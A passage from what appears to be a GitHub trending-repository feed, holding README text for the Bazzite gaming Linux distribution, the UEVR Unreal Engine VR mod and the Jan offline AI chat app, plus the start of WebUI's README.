<p>Despite this project also being image-based, you are able to install any Fedora package straight from the command line. These packages will persist across updates <sub><sup>(So go ahead and install that obscure VPN software you spent an hour trying to get working in SteamOS)</sup></sub>. Additionally, Bazzite is updated multiple times a week with packages from upstream Fedora, giving you the best possible performance and latest features - all on a stable base.</p>
<p>Bazzite ships with the latest Linux kernel and SELinux enabled by default with full support for secure boot <sub><sup>(Run <code>ujust enroll-secure-boot-key</code> and enter the password <code>ublue-os</code> if prompted to enroll our key)</sup></sub> and disk encryption, making this a sensible solution for general computing. <sup><sub>(Yes, you can print from Bazzite)</sub></sup></p>
<p>Read the <a href="https://universal-blue.discourse.group/docs?topic=33">FAQ</a> for details on what makes Bazzite stand out from other Linux operating systems.</p>
<h2>Showcase</h2>
<p><img src="https://raw.githubusercontent.com/ublue-os/bazzite/main/repo_content/desktop1.png?raw=true" alt="KDE Vapor Theme" title="KDE Vapor Theme"> <img src="https://raw.githubusercontent.com/ublue-os/bazzite/main/repo_content/desktop2.png?raw=true" alt="KDE VGUI2 Theme" title="KDE VGUI2 Theme"> <img src="https://raw.githubusercontent.com/ublue-os/bazzite/main/repo_content/gamemode.png?raw=true" alt="Steam Game Mode" title="Steam Game Mode"> <img src="https://raw.githubusercontent.com/ublue-os/bazzite/main/repo_content/waydroid.png?raw=true" alt="Waydroid" title="Waydroid"> <img src="https://raw.githubusercontent.com/ublue-os/bazzite/main/repo_content/distrobox.png?raw=true" alt="Distrobox Terminals" title="Distrobox Terminals"> <img src="https://raw.githubusercontent.com/ublue-os/bazzite/main/repo_content/gnome1.png?raw=true" alt="GNOME Vapor Theme" title="GNOME Vapor Theme"> <img src="https://raw.githubusercontent.com/ublue-os/bazzite/main/repo_content/gnome2.png?raw=true" alt="GNOME VGUI2 Theme" title="GNOME VGUI2 Theme"></p>
<h2>Documentation & Newsletters</h2>
<ul>
<li><a href="https://universal-blue.discourse.group/docs?topic=35">Installing and Managing Applications</a></li>
<li><a href="https://universal-blue.discourse.group/docs?topic=36">Updates, Rollbacks, and Rebasing</a></li>
<li><a href="https://universal-blue.discourse.group/docs?topic=31">Gaming Guide</a></li>
<li><a href="https://universal-blue.discourse.group/t/dual-booting-guide/129">Dual Booting Guide</a></li>
</ul>
<p>Find additional documentation surrounding the project <a href="https://universal-blue.discourse.group/docs">here</a>.</p>
<p>Check out our <a href="https://universal-blue.discourse.group/tag/bazzite-buzz">newsletters</a> that get published on a regular basis for updates on the project.</p>
<h2>Custom Packages</h2>
<p>Ported SteamOS and ChimeraOS packages, among others used by Bazzite, are built on Copr in <a href="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/">bazzite</a> and <a href="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite-multilib/">bazzite-multilib</a>.</p>
<table>
<thead>
<tr>
<th>Package</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>bluez</td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite-multilib/package/bluez/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://github.com/trigg/Discover">discover-overlay</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/discover-overlay/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td>ds-inhibit</td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/ds-inhibit/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td>duperemove</td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/duperemove/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://github.com/Supreeeme/extest">extest</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite-multilib/package/extest/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td>gamescope</td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite-multilib/package/gamescope/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://github.com/ChimeraOS/gamescope-session">gamescope-session-plus</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/gamescope-session-plus/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://github.com/ChimeraOS/gamescope-session-steam">gamescope-session-steam</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/gamescope-session-steam/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td>gamescope-shaders</td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/gamescope-shaders/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td>galileo-mura</td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/galileo-mura/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://github.com/maxwellainatchi/gnome-randr-rust">gnome-randr-rust</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/gnome-randr-rust/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td>gnome-shell-extension-bazzite-menu</td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/gnome-shell-extension-bazzite-menu/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://extensions.gnome.org/extension/1326/block-caribou/">gnome-shell-extension-caribou-blocker</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/gnome-shell-extension-caribou-blocker/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://github.com/jeffshee/gnome-ext-hanabi">gnome-shell-extension-hanabi</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/gnome-shell-extension-hanabi/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://github.com/hermes83/compiz-windows-effect">gnome-shell-extension-compiz-windows-effect</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/gnome-shell-extension-compiz-windows-effect/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://github.com/antheas/hhd">hhd</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/hhd/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td>jupiter-fan-control</td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/jupiter-fan-control/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td>jupiter-hw-support-<a href="https://gitlab.com/popsulfr/steamos-btrfs">btrfs</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/jupiter-hw-support-btrfs/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://github.com/flightlessmango/MangoHud">mangohud</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite-multilib/package/mangohud/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td>mesa</td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite-multilib/package/mesa/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td>pipewire</td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite-multilib/package/pipewire/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td>powerbuttond</td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/powerbuttond/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://github.com/apmorton/pyhidapi">python3-hid</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/python3-hid/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td>rmlint</td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/rmlint/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://github.com/FlyGoat/RyzenAdj">ryzenadj</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/ryzenadj/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://github.com/kmicki/SteamDeckGyroDSU">sdgyrodsu</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/sdgyrodsu/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td>steamdeck-dsp</td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/steamdeck-dsp/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td>steamdeck-gnome-presets</td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/steamdeck-gnome-presets/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td>steamdeck-kde-presets</td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/steamdeck-kde-presets/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td>steamdeck-kde-presets-desktop</td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/steamdeck-kde-presets-desktop/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td>steam_notif_daemon</td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/steam_notif_daemon/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td>udisks2</td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/udisks2/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td>upower</td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/upower/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td>vpower</td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/vpower/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td>wireplumber</td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite/package/wireplumber/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td>xorg-x11-server-Xwayland</td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/bazzite-multilib/package/xorg-x11-server-Xwayland/status_image/last_build.png?" alt="Build Status"></td>
</tr>
</tbody>
</table>
<p>Additionally, the following packages are used from other Copr repos:</p>
<table>
<thead>
<tr>
<th>Package</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://copr.fedorainfracloud.org/coprs/ublue-os/akmods/">gcadapter_oc-kmod</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/ublue-os/akmods/package/gcadapter_oc-kmod/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://copr.fedorainfracloud.org/coprs/kylegospo/gnome-vrr/">gnome-vrr</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/gnome-vrr/package/mutter/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://copr.fedorainfracloud.org/coprs/kylegospo/hl2linux-selinux/">hl2linux-selinux</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/hl2linux-selinux/package/hl2linux-selinux/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://copr.fedorainfracloud.org/coprs/kylegospo/joycond/">joycond</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/joycond/package/joycond/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://copr.fedorainfracloud.org/coprs/sentry/kernel-fsync/">kernel-fsync</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/sentry/kernel-fsync/package/kernel/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://copr.fedorainfracloud.org/coprs/kylegospo/LatencyFleX/">latencyflex-vulkan-layer</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/LatencyFleX/package/latencyflex-vulkan-layer/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://copr.fedorainfracloud.org/coprs/ycollet/audinux/">noise-suppression-for-voice</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/ycollet/audinux/package/noise-suppression-for-voice/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://copr.fedorainfracloud.org/coprs/kylegospo/obs-vkcapture/">obs-vkcapture</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/obs-vkcapture/package/obs-vkcapture/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://gitlab.gnome.org/chergert/prompt">prompt</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/prompt/package/prompt/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://copr.fedorainfracloud.org/coprs/kylegospo/rom-properties/">rom-properties</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/rom-properties/package/rom-properties/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://copr.fedorainfracloud.org/coprs/ublue-os/akmods/">steamdeck-kmod</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/ublue-os/akmods/package/jupiter-kmod/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://copr.fedorainfracloud.org/coprs/kylegospo/system76-scheduler/">system76-scheduler</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/system76-scheduler/package/system76-scheduler/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://copr.fedorainfracloud.org/coprs/kylegospo/VTFLib/">VTFLib</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/VTFLib/package/VTFLib/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://copr.fedorainfracloud.org/coprs/kylegospo/wallpaper-engine-kde-plugin/">wallpaper-engine-kde-plugin</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/wallpaper-engine-kde-plugin/package/wallpaper-engine-kde-plugin/status_image/last_build.png?" alt="Build Status"></td>
</tr>
<tr>
<td><a href="https://copr.fedorainfracloud.org/coprs/kylegospo/webapp-manager/">webapp-manager</a></td>
<td><img src="https://copr.fedorainfracloud.org/coprs/kylegospo/webapp-manager/package/webapp-manager/status_image/last_build.png?" alt="Build Status"></td>
</tr>
</tbody>
</table>
<h2>Verification</h2>
<p>These images are signed with sigstore's <a href="https://docs.sigstore.dev/cosign/overview/">cosign</a>. You can verify the signature by downloading the <code>cosign.pub</code> key from this repo and running the following command:</p>
<pre><code class="language-bash">cosign verify --key cosign.pub ghcr.io/ublue-os/bazzite
</code></pre>
<h3>Contributor Metrics</h3>
<p><img src="https://repobeats.axiom.co/api/embed/86b500d79c613015ad16f56df76c8e13f3fd98ae.svg?sanitize=true" alt="Bazzite" title="Repobeats analytics image"></p>
<h2>Special Thanks</h2>
<p>Bazzite is a community effort and wouldn't exist without everyone's support. Below are some of the people who've helped us along the way:</p>
<ul>
<li><a href="https://github.com/reisvg">rei.svg</a> - For creating our logo and overall branding.</li>
<li><a href="https://gitlab.com/evlaV">evlaV</a> - For making Valve's code available and for being <a href="https://xkcd.com/2347/">this person</a>.</li>
<li><a href="https://chimeraos.org/">ChimeraOS</a> - For gamescope-session and for valuable support along the way.</li>
<li><a href="https://github.com/Jovian-Experiments">Jovian-NixOS</a> - For supporting us with technical issues and for creating a similar project. Seriously, go check it out. It's our Nix-based cousin.</li>
<li><a href="https://copr.fedorainfracloud.org/coprs/sentry/">sentry</a> - For assistance with needed kernel patches and for creating the <a href="https://copr.fedorainfracloud.org/coprs/sentry/kernel-fsync/">kernel-fsync repo</a> we now use.</li>
<li><a href="https://github.com/nicknamenamenick">nicknamenamenick</a> - For being the MVP nearly single-handedly upkeeping our documentation and support literature, and countless cases of helping users.</li>
<li><a href="https://deckbrew.xyz">Steam Deck Homebrew</a> - For choosing to support distributions other than SteamOS despite the extra work, and a special thanks to <a href="https://github.com/PartyWumpus">PartyWumpus</a> for getting Decky Loader working with SELinux for us.</li>
<li><a href="https://github.com/cyrv6737">cyrv6737</a> - For the initial inspiration and the base that became bazzite-arch.</li>
</ul>
<h2>Build Your Own</h2>
<p>Bazzite is built entirely in GitHub and creating your own custom version of it is as easy as forking this repository, adding a private signing key, and enabling GitHub actions.</p>
<p><a href="https://docs.github.com/en/actions/security-guides/encrypted-secrets">Familiarize yourself</a> on keeping secrets in github. You'll need to <a href="https://docs.sigstore.dev/cosign/overview/">generate a new keypair</a> with cosign. The public key can be in your public repo <sub><sup>(Your users need it to check the signatures)</sup></sub>, and you can paste the private key in <code>Settings -> Secrets -> Actions</code> with the name <code>SIGNING_SECRET</code>.</p>
<p>We also ship a config for the popular <a href="https://github.com/apps/pull">pull app</a> if you'd like to keep your fork in sync with upstream. Enable this app on your repo to keep track of Bazzite changes while also making your own modifications.</p>
<h2>Join The Community</h2>
<p>You can find us on the <a href="https://discord.gg/f8MUghG5PB">Universal Blue Discord</a> and also discuss Bazzite on our <a href="https://universal-blue.discourse.group/c/bazzite/5">Discourse forums</a>.</p>
+ praydog/UEVR
+ 2024-01-04T01:25:26Z
+ tag:github.com,2024-01-04:/praydog/UEVR
+
+ <p>Universal Unreal Engine VR Mod (4/5)</p><hr><h1>UEVR <img src="https://github.com/praydog/UEVR/actions/workflows/dev-release.yml/badge.svg?sanitize=true" alt="build"></h1>
<p>Universal Unreal Engine VR Mod (4/5)</p>
<p>4.8 - 5.3</p>
<h2>Links</h2>
<ul>
<li><a href="https://praydog.github.io/uevr-docs">Documentation</a></li>
<li><a href="https://flat2vr.com">Flat2VR Discord</a></li>
</ul>
<h2>Features</h2>
<ul>
<li>Full 6DOF support out of the box (HMD movement)</li>
<li>Full stereoscopic 3D out of the box</li>
<li>Native UE4/UE5 stereo rendering system</li>
<li>Frontend GUI for easy process injection</li>
<li>Supports OpenVR and OpenXR runtimes</li>
<li>3 rendering modes: Native Stereo, Synchronized Sequential, and Alternating/AFR</li>
<li>Automatic handling of most in-game UI so it is projected into 3D space</li>
<li>Optional 3DOF motion controls out of the box in many games, essentially emulating a semi-native VR experience</li>
<li>Optional roomscale movement in many games, moving the player character itself in 3D space along with the headset</li>
<li>In-game menu with shortcuts for adjusting settings</li>
<li>Access to various CVars for fixing broken shaders/effects/performance issues</li>
<li>Optional depth buffer integration for improved latency on some headsets</li>
<li>Per-game configurations</li>
<li>Plugin system/Blueprint support for modders to add additional features like motion controls</li>
</ul>
<h2>Getting Started</h2>
<ol>
<li>Launch the frontend GUI</li>
<li>Launch the target game</li>
<li>Locate the game in the process dropdown list</li>
<li>Select your desired runtime (OpenVR/OpenXR)</li>
<li>Toggle existing VR plugin nullification (if necessary)</li>
<li>Configure pre-injection settings</li>
<li>Inject</li>
</ol>
<h2>To-dos before injection</h2>
<ol>
<li>Disable HDR (it will still work without it, but the game will be darker than usual if it is)</li>
<li>Start as administrator if the game is not visible in the list</li>
<li>Pass <code>-nohmd</code> to the game's command line and/or delete VR plugins from the game directory if the game contains any existing VR plugins</li>
<li>Disable any overlays that may conflict and cause crashes (Rivatuner, ASUS software, Razer software, Overwolf, etc...)</li>
<li>Disable graphical options in-game that may cause crashes or severe issues like DLSS Frame Generation</li>
<li>Consider disabling <code>Hardware Accelerated GPU Scheduling</code> in your Windows <code>Graphics settings</code></li>
</ol>
<h2>In-Game Menu</h2>
<p>Press the <strong>Insert</strong> key or <strong>L3+R3</strong> on an XInput based controller to access the in-game menu, which opens by default at startup. With the menu open, hold <strong>RT</strong> for various shortcuts:</p>
<ul>
<li>RT + Left Stick: Move the camera left/right/forward/back</li>
<li>RT + Right Stick: Move the camera up/down</li>
<li>RT + B: Reset camera offset</li>
<li>RT + Y: Recenter view</li>
<li>RT + X: Reset standing origin</li>
</ul>
<h2>Quick overview of rendering methods</h2>
<h3>Native Stereo</h3>
<p>When it works, it looks the best, performs the best (usually). Can cause crashes or graphical bugs if the game does not play well with it.</p>
<p>Temporal effects like TAA are fully intact. DLSS/FSR2 usually work completely fine with no ghosting in this mode.</p>
<p>Fully synchronized eye rendering. Works with the majority of games. Uses the actual stereo rendering pipeline in the Unreal Engine to achieve a stereoscopic image.</p>
<h3>Synchronized Sequential</h3>
<p>A form of AFR. Can fix many rendering bugs that are introduced with Native Stereo. Renders two frames <strong>sequentially</strong> in a <strong>synchronized</strong> fashion on the same engine tick.</p>
<p>Fully synchronized eye rendering. Game world does not advance time between frames.</p>
<p>Looks normal but temporal effects like TAA will have ghosting/doubling effect. Motion blur will need to be turned off.</p>
<p>This is the first alternative option that should be used if Native Stereo is not working as expected or you are encountering graphical bugs.</p>
<p><strong>Skip Draw</strong> skips the viewport draw on the next engine tick. Usually works the best but sometimes particle effects may not play at the correct speed.</p>
<p><strong>Skip Tick</strong> skips the next engine tick entirely. Usually buggy but does fix particle effects and sometimes brings higher performance.</p>
<h3>AFR</h3>
<p>Alternated Frame Rendering. Renders each eye on separate frames in an alternating fashion, with the game world advancing time in between frames. Causes eye desyncs and usually nausea along with it.</p>
<p>Not synchronized. Generally should not be used unless the other two are unusable in some way.</p>
- janhq/jan
- 2024-01-03T01:25:10Z
- tag:github.com,2024-01-03:/janhq/jan
-
- <p>Jan is an open source alternative to ChatGPT that runs 100% offline on your computer</p><hr><h1>Jan - Bring AI to your Desktop</h1>
<p><img src="https://github.com/janhq/jan/assets/89722390/35daac7d-b895-487c-a6ac-6663daaad78e" alt="Jan banner"></p>
<p align="center">
<!-- ALL-CONTRIBUTORS-BADGE:START - Do not remove or modify this section --> <img alt="GitHub commit activity" src="https://img.shields.io/github/commit-activity/m/janhq/jan"> <img alt="Github Last Commit" src="https://img.shields.io/github/last-commit/janhq/jan"> <img alt="Github Contributors" src="https://img.shields.io/github/contributors/janhq/jan"> <img alt="GitHub closed issues" src="https://img.shields.io/github/issues-closed/janhq/jan"> <img alt="Discord" src="https://img.shields.io/discord/1107178041848909847?label=discord"> </p>
<p align="center"> <a href="https://jan.ai/guides">Getting Started</a> - <a href="https://jan.ai/docs">Docs</a> - <a href="https://github.com/janhq/jan/releases">Changelog</a> - <a href="https://github.com/janhq/jan/issues">Bug reports</a> - <a href="https://discord.gg/AsJ8krTT3N">Discord</a> </p>
<blockquote>
<p>โ ๏ธ <strong>Jan is currently in Development</strong>: Expect breaking changes and bugs!</p>
</blockquote>
<p>Jan is an open-source ChatGPT alternative that runs 100% offline on your computer.</p>
<p><strong>Jan runs on any hardware.</strong> From PCs to multi-GPU clusters, Jan supports universal architectures:</p>
<ul>
<li><input type="checkbox" checked disabled> Nvidia GPUs (fast)</li>
<li><input type="checkbox" checked disabled> Apple M-series (fast)</li>
<li><input type="checkbox" checked disabled> Apple Intel</li>
<li><input type="checkbox" checked disabled> Linux Debian</li>
<li><input type="checkbox" checked disabled> Windows x64</li>
</ul>
<h2>Download</h2>
<table>
<tbody>
<tr style="text-align:center">
<td style="text-align:center"><b>Version Type</b></td>
<td style="text-align:center"><b>Windows</b></td>
<td colspan="2" style="text-align:center"><b>MacOS</b></td>
<td style="text-align:center"><b>Linux</b></td>
</tr>
<tr style="text-align:center">
<td style="text-align:center"><b>Stable (Recommended)</b></td>
<td style="text-align:center"> <a href="https://github.com/janhq/jan/releases/download/v0.4.3/jan-win-x64-0.4.3.exe"> <img src="https://raw.githubusercontent.com/janhq/jan/main/docs/static/img/windows.png" style="height:14px; width: 14px"> <b>jan.exe</b> </a> </td>
<td style="text-align:center"> <a href="https://github.com/janhq/jan/releases/download/v0.4.3/jan-mac-x64-0.4.3.dmg"> <img src="https://raw.githubusercontent.com/janhq/jan/main/docs/static/img/mac.png" style="height:15px; width: 15px"> <b>Intel</b> </a> </td>
<td style="text-align:center"> <a href="https://github.com/janhq/jan/releases/download/v0.4.3/jan-mac-arm64-0.4.3.dmg"> <img src="https://raw.githubusercontent.com/janhq/jan/main/docs/static/img/mac.png" style="height:15px; width: 15px"> <b>M1/M2</b> </a> </td>
<td style="text-align:center"> <a href="https://github.com/janhq/jan/releases/download/v0.4.3/jan-linux-amd64-0.4.3.deb"> <img src="https://raw.githubusercontent.com/janhq/jan/main/docs/static/img/linux.png" style="height:14px; width: 14px"> <b>jan.deb</b> </a> </td>
</tr>
<tr style="text-align:center">
<td style="text-align:center"><b>Experimental (Nightly Build)</b></td>
<td style="text-align:center"> <a href="https://delta.jan.ai/0.4.3-117/jan-win-x64-0.4.3-117.exe"> <img src="https://raw.githubusercontent.com/janhq/jan/main/docs/static/img/windows.png" style="height:14px; width: 14px"> <b>jan.exe</b> </a> </td>
<td style="text-align:center"> <a href="https://delta.jan.ai/0.4.3-117/jan-mac-x64-0.4.3-117.dmg"> <img src="https://raw.githubusercontent.com/janhq/jan/main/docs/static/img/mac.png" style="height:15px; width: 15px"> <b>Intel</b> </a> </td>
<td style="text-align:center"> <a href="https://delta.jan.ai/0.4.3-117/jan-mac-arm64-0.4.3-117.dmg"> <img src="https://raw.githubusercontent.com/janhq/jan/main/docs/static/img/mac.png" style="height:15px; width: 15px"> <b>M1/M2</b> </a> </td>
<td style="text-align:center"> <a href="https://delta.jan.ai/0.4.3-117/jan-linux-amd64-0.4.3-117.deb"> <img src="https://raw.githubusercontent.com/janhq/jan/main/docs/static/img/linux.png" style="height:14px; width: 14px"> <b>jan.deb</b> </a> </td>
</tr>
</tbody>
</table>
<p>Download the latest version of Jan at <a href="https://jan.ai/">https://jan.ai/</a> or visit the <strong><a href="https://github.com/janhq/jan/releases">GitHub Releases</a></strong> to download any previous release.</p>
<h2>Demo</h2>
<p><img src="https://raw.githubusercontent.com/janhq/jan/main/demo.gif" alt="Demo"></p>
<p><em>Realtime Video: Jan v0.4.3-nightly on a Mac M1, 16GB Sonoma 14</em></p>
<h2>Quicklinks</h2>
<h4>Jan</h4>
<ul>
<li><a href="https://jan.ai/">Jan website</a></li>
<li><a href="https://github.com/janhq/jan">Jan Github</a></li>
<li><a href="https://jan.ai/guides/">User Guides</a></li>
<li><a href="https://jan.ai/developer/">Developer docs</a></li>
<li><a href="https://jan.ai/api-reference/">API reference</a></li>
<li><a href="https://jan.ai/docs/">Specs</a></li>
</ul>
<h4>Nitro</h4>
<p>Nitro is a high-efficiency C++ inference engine for edge computing. It is lightweight and embeddable, and can be used on its own within your own projects.</p>
<ul>
<li><a href="https://nitro.jan.ai">Nitro Website</a></li>
<li><a href="https://github.com/janhq/nitro">Nitro Github</a></li>
<li><a href="https://nitro.jan.ai/docs">Documentation</a></li>
<li><a href="https://nitro.jan.ai/api-reference">API Reference</a></li>
</ul>
<h2>Troubleshooting</h2>
<p>As Jan is in development mode, you might get stuck on a broken build.</p>
<p>To reset your installation:</p>
<ol>
<li> <p>Use the following commands to remove any dangling backend processes:</p> <pre><code class="language-sh">ps aux | grep nitro
</code></pre> <p>Look for processes like "nitro" and "nitro_arm_64," and kill them one by one with:</p> <pre><code class="language-sh">kill -9 <PID>
</code></pre> </li>
<li> <p><strong>Remove Jan from your Applications folder and Cache folder</strong></p> <pre><code class="language-bash">make clean
</code></pre> <p>This will remove all build artifacts and cached files:</p>
<ul>
<li>Delete Jan extension from your <code>~/jan/extensions</code> folder</li>
<li>Delete all <code>node_modules</code> in current folder</li>
<li>Clear Application cache in <code>~/Library/Caches/jan</code></li>
</ul> </li>
</ol>
<h2>Contributing</h2>
<p>Contributions are welcome! Please read the <a href="https://raw.githubusercontent.com/janhq/jan/main/CONTRIBUTING.md">CONTRIBUTING.md</a> file</p>
<h3>Pre-requisites</h3>
<ul>
<li>node >= 20.0.0</li>
<li>yarn >= 1.22.0</li>
<li>make >= 3.81</li>
</ul>
<h3>Instructions</h3>
<ol>
<li> <p><strong>Clone the repository and prepare:</strong></p> <pre><code class="language-bash">git clone https://github.com/janhq/jan
cd jan
git checkout -b DESIRED_BRANCH
</code></pre> </li>
<li> <p><strong>Run development and use Jan Desktop</strong></p> <pre><code class="language-bash">make dev
</code></pre> </li>
</ol>
<p>This will start the development server and open the desktop app.</p>
<h3>For production build</h3>
<pre><code class="language-bash"># Do steps 1 and 2 in the previous section
# Build the app
make build
</code></pre>
<p>This will build the app MacOS m1/m2 for production (with code signing already done) and put the result in <code>dist</code> folder.</p>
<h2>Acknowledgements</h2>
<p>Jan builds on top of other open-source projects:</p>
<ul>
<li><a href="https://github.com/ggerganov/llama.cpp">llama.cpp</a></li>
<li><a href="https://github.com/NVIDIA/TensorRT">TensorRT</a></li>
</ul>
<h2>Contact</h2>
<ul>
<li>Bugs & requests: file a GitHub ticket</li>
<li>For discussion: join our Discord <a href="https://discord.gg/FTk2MvZwJH">here</a></li>
<li>For business inquiries: email <a href="mailto:hello@jan.ai">hello@jan.ai</a></li>
<li>For jobs: please email <a href="mailto:hr@jan.ai">hr@jan.ai</a></li>
</ul>
<h2>License</h2>
<p>Jan is free and open source, under the AGPLv3 license.</p>
+ webui-dev/webui
+ 2024-01-04T01:25:26Z
+ tag:github.com,2024-01-04:/webui-dev/webui
+
+ <p>Use any web browser as GUI, with your preferred language in the backend and HTML5 in the frontend, all in a lightweight portable lib.</p><hr><div align="center">
<p><img src="https://github.com/webui-dev/webui/assets/34311583/c92e712f-0698-486a-a460-d4acea28a4f8" alt="Logo"></p>
<h1>WebUI v2.4.2</h1>
